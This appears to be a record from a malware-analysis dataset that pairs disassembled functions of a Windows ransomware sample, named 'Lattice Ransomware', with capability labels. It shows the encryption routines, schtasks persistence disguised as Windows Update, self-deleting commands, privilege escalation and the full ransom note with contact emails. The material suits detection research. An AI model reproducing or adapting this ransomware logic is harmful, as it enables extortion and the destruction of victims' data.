joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401dc9
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x401db1
cmp dword [eax + 0xc], ebx
je 0x401e54
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040180c
inc ebx
in eax, dx
mov ah, 1
cmp dword [ebp + 0xc], ebx
jne 0x401de0
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x401ffb
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x401df4
mov dword [ebp + 0x10], edi
jmp 0x401df9
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.0040180c
wait
jecxz 0x401db7
push ss
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x401e42
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x401e1d
and eax, 0xffff
push eax
jmp 0x401e21
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004017d1
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x401ffb
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x401e02
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x401da3
call fcn.0040180c
sub ebx, ebp
jp 0x401e13
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x401ec0
add eax, esi
cmp dword [eax], ebx
je 0x401ec0
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x401ebb
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x401ea5
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x401ead
cmp edx, ebx
jne 0x401ffb
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x401e7c
add eax, dword [eax + 4]
jmp 0x401e69
mov dword [ebp + 0xc], ebx
jmp 0x401ecb
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x401ee3
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x401f01
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x401f5f
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x401f46
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x401f4f
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x401f59
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x401f3b
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x401ec5
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x401e20
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x401db1
cmp dword [eax + 0xc], ebx
je 0x401e54
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040180c
inc ebx
in eax, dx
mov ah, 1
cmp dword [ebp + 0xc], ebx
jne 0x401de0
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x401ffb
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x401df4
mov dword [ebp + 0x10], edi
jmp 0x401df9
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.0040180c
wait
jecxz 0x401db7
push ss
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x401e42
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x401e1d
and eax, 0xffff
push eax
jmp 0x401e21
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004017d1
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x401ffb
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x401e02
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x401da3
call fcn.0040180c
sub ebx, ebp
jp 0x401e13
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x401ec0
add eax, esi
cmp dword [eax], ebx
je 0x401ec0
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x401ebb
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x401ea5
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x401ead
cmp edx, ebx
jne 0x401ffb
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x401e7c
add eax, dword [eax + 4]
jmp 0x401e69
mov dword [ebp + 0xc], ebx
jmp 0x401ecb
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x401ee3
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x401f01
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x401f5f
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x401f46
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x401f4f
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x401f59
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x401f3b
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x401ec5
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
mov dword [ebp - 0xc], eax
jle 0x401048
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, 1
push dword [ebp - 8]
lea edi, [eax + esi*4]
push dword [edi]
call ebx
test eax, eax
je 0x401051
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 4]
jl 0x401031
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012d0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebx], 0x61707865
mov dword [ebx + 4], 0x3320646e
mov dword [ebx + 8], 0x79622d32
mov dword [ebx + 0xc], 0x6b206574
movzx esi, byte [edi + 3]
movzx eax, byte [edi + 2]
shl esi, 8
or esi, eax
movzx eax, byte [edi + 1]
shl esi, 8
or esi, eax
movzx eax, byte [edi]
shl esi, 8
or esi, eax
mov dword [ebx + 0x10], esi
movzx ecx, byte [edi + 7]
movzx eax, byte [edi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x14], ecx
movzx ecx, byte [edi + 0xb]
movzx eax, byte [edi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x18], ecx
movzx ecx, byte [edi + 0xf]
movzx eax, byte [edi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x1c], ecx
movzx ecx, byte [edi + 0x13]
movzx eax, byte [edi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x20], ecx
movzx ecx, byte [edi + 0x17]
movzx eax, byte [edi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x24], ecx
movzx ecx, byte [edi + 0x1b]
movzx eax, byte [edi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x18]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x28], ecx
movzx ecx, byte [edi + 0x1f]
movzx eax, byte [edi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
pop edi
or ecx, eax
mov dword [ebx + 0x80], 0x40
pop esi
mov dword [ebx + 0x3c], ecx
pop ebx
pop ebp
ret
Function at 0x401710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], esi
push edi
mov edi, edx
mov dword [ebp - 4], edi
test ecx, ecx
je 0x401840
mov eax, dword [esi + 0x80]
push ebx
mov ebx, dword [ebp + 8]
cmp eax, 0x40
jae 0x401770
nop dword [eax]
mov al, byte [eax + esi + 0x40]
xor al, byte [edi]
inc edi
mov byte [ebx], al
inc ebx
mov eax, dword [esi + 0x80]
inc eax
mov dword [ebp - 8], ebx
sub ecx, 1
mov dword [esi + 0x80], eax
mov dword [ebp - 4], edi
mov dword [ebp + 0xc], ecx
je 0x40183f
cmp eax, 0x40
jb 0x401740
jmp 0x401773
mov dword [ebp - 8], ebx
lea eax, [esi + 0x40]
mov dword [ebp - 0x14], eax
nop dword [eax]
push 8
mov edx, esi
mov ecx, eax
call fcn.00401470
add esp, 4
add dword [esi + 0x30], 1
jne 0x401797
inc dword [esi + 0x34]
mov edx, dword [ebp + 0xc]
cmp edx, 0x40
jbe 0x401818
mov ecx, dword [ebp - 4]
lea eax, [ebx + 1]
add edi, 3
lea edx, [esi + 0x41]
sub ecx, ebx
mov esi, 0x10
mov dword [ebp - 0x10], ecx
mov ebx, ecx
nop word [eax + eax]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor cl, byte [edi - 3]
lea edi, [edi + 4]
mov byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [ebx + eax - 4]
xor cl, byte [edx - 4]
mov byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor cl, byte [edi - 5]
mov byte [eax - 3], cl
movzx ecx, byte [edx - 2]
xor cl, byte [edi - 4]
mov byte [eax - 2], cl
sub esi, 1
jne 0x4017c0
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
add edi, 0x40
mov esi, dword [ebp - 0xc]
add ebx, 0x40
sub dword [ebp + 0xc], 0x40
mov dword [ebp - 4], edi
mov dword [ebp - 8], ebx
lea eax, [esi + 0x40]
jmp 0x401780
test edx, edx
je 0x401839
sub edi, ebx
xor esi, esi
mov edx, dword [ebp - 0x14]
lea ecx, [esi + ebx]
mov al, byte [edi + ecx]
xor al, byte [edx + esi]
inc esi
mov edx, dword [ebp + 0xc]
mov byte [ecx], al
cmp esi, edx
jb 0x401820
mov esi, dword [ebp - 0xc]
mov dword [esi + 0x80], edx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404b00
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402290
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.00403410
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.004036e0
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401850
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401d20
lea ecx, [ebp - 0x114]
call fcn.00401e00
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402590
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x4247e0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x429808
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x428880], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x428880]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x404ca0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x42a8e0]
call edi
mov esi, eax
test esi, esi
jne 0x404cec
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x42a8e0]
call edi
mov esi, eax
test esi, esi
je 0x404cd0
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push 0x7ff
push esi
call fcn.00404bf0
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0040f03a
add esp, 0x1c
mov ebx, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x1c]
movzx eax, word [esp + 0x16]
push ecx
movzx ecx, word [esp + 0x1e]
push ecx
movzx ecx, word [esp + 0x20]
push ecx
push eax
movzx eax, word [esp + 0x22]
push eax
movzx eax, word [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x429808
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push dword [0x428880]
call edi
push 0
lea eax, [esp + 0x10]
push eax
or eax, 0xffffffff
test ebx, ebx
cmovs ebx, eax
add ebx, ebx
push ebx
push esi
push dword [0x428880]
call edi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x424824
push dword [0x428880]
call edi
push 0x429808
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404e40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x4297f0], 0
jne 0x404e72
push str.GlobalLatticeMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x42a860], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404e72
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x404eb0
Capabilities:
Accept command line arguments
Create process on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
cmp dword [0x4297fc], 0
jne 0x404f57
push esi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
jle 0x404f1d
push dword [eax + 4]
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_1.0___TR___s__s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x404f39
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_1.0___TR___s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x60c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404f60
Capabilities:
Create process on windows

Disassembly:
push 0
push 0
push str._c_SCHTASKS.exe__Delete__TN__Windows_Update_1.0___F
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret
Function at 0x4051f0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
cmp dword [0x4297fc], 0
jne 0x4052d0
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x424b8c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [0x4297e8]
cmp eax, 2
jne 0x405245
lea eax, [ebp - 0x20c]
push eax
push str._c___s___SHUTDOWN
jmp 0x40525d
cmp eax, 1
lea eax, [ebp - 0x20c]
push eax
jne 0x405258
push str._c___s___RESTART
jmp 0x40525d
push str._c___s_
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4052b2
push 0
lea eax, [ebp - 4]
push eax
push 0x1400
push 0x423180
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
lea eax, [ebp - 0x80c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4052e0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
cmp dword [0x4297f4], 0
je 0x40533f
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x808]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x808]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esp, ebp
pop ebp
ret
Function at 0x4056f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4297fc], 0
jne 0x405779
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405779
push str.Lattice_Ransomware
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push str.Lattice_Ransomware
push 1
push 0
push str.LegalNoticeCaption
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push str._r_nAll_your_files_are_stolen_and_encrypted_r_nFind_LATTICE_README.txt_file_r_nand_follow_instructions
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push str._r_nAll_your_files_are_stolen_and_encrypted_r_nFind_LATTICE_README.txt_file_r_nand_follow_instructions
push 1
push 0
push str.LegalNoticeText
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x405780
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x38], str.SeDebugPrivilege
mov dword [ebp - 0x34], str.SeRestorePrivilege
mov dword [ebp - 0x30], str.SeBackupPrivilege
mov dword [ebp - 0x2c], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x28], str.SeAuditPrivilege
mov dword [ebp - 0x24], str.SeSecurityPrivilege
mov dword [ebp - 0x20], str.SeIncreaseBasePriorityPrivilege
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x405823
lea eax, [ebp - 0xc]
push eax
push dword [ebp + esi*4 - 0x38]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40581e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
push 0
push 0
push 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call edi
inc esi
cmp esi, 7
jb 0x4057c8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405cf0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
lea eax, [ebp - 0x210]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x4250d0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor esi, esi
lea eax, [ebp - 0x210]
push esi
push 0x80
push 3
push esi
push 3
push SysReAllocString
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405d79
push esi
lea eax, [ebp - 4]
push eax
push 0x64
push 0x42a868
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405d6e
cmp dword [ebp - 4], 0x64
mov eax, 1
cmove esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x405d7e
call fcn.00405830
call fcn.00405ad0
push 0x429820
push str.laminan_keemail.me
push str.netekan_keemail.me
push str.___Lattice_Ransomware____r_n_r_n___Whats_happened__r_nAll_your_files_are_encrypted_and_stolen__but_you_need_to_follow_our_instructions._otherwise__you_cant_return_your_data__NEVER_._r_n_r_n___What_guarantees__r_nIts_just_a_business._We_absolutely_do_not_care_about_you_and_your_deals__except_getting_benefits._If_we_do_not_do_our_work_and_liabilities___nobody_will_not_cooperate_with_us._Its_not_in_our_interests._r_nTo_check_the_ability_of_returning_files__we_decrypt_one_file_for_free._That_is_our_guarantee._r_nIf_you_will_not_cooperate_with_our_service___for_us__its_does_not_matter._But_you_will_lose_your_time_and_data__cause_just_we_have_the_private_key._time_is_much_more_valuable_than_money._r_n_r_n___Instructions:_r_nPlease_write_an_email_to:__s_and__s_r_nWrite_this_UID_in_the_subject:__s_r_n_r_n____________________________________________r_n_r_n____DANGER_____r_nDONT_try_to_change_files_by_yourself__DONT_use_any_third_party_software_for_restoring_your_data_or_antivirus_edr_solutions___its_may_entail_damage_of_the_private_key_and__as_result__The_Loss_all_data._r_n____________r_nONE_MORE_TIME:_Its_in_your_interests_to_get_your_files_back._From_our_side__we__the_best_specialists__make_everything_for_restoring__but_please_should_not_interfere._r_n____________
push 0x1000
push 0x429860
call fcn.00404e00
add esp, 0x18
pop edi
pop esi
mov esp, ebp
pop ebp
ret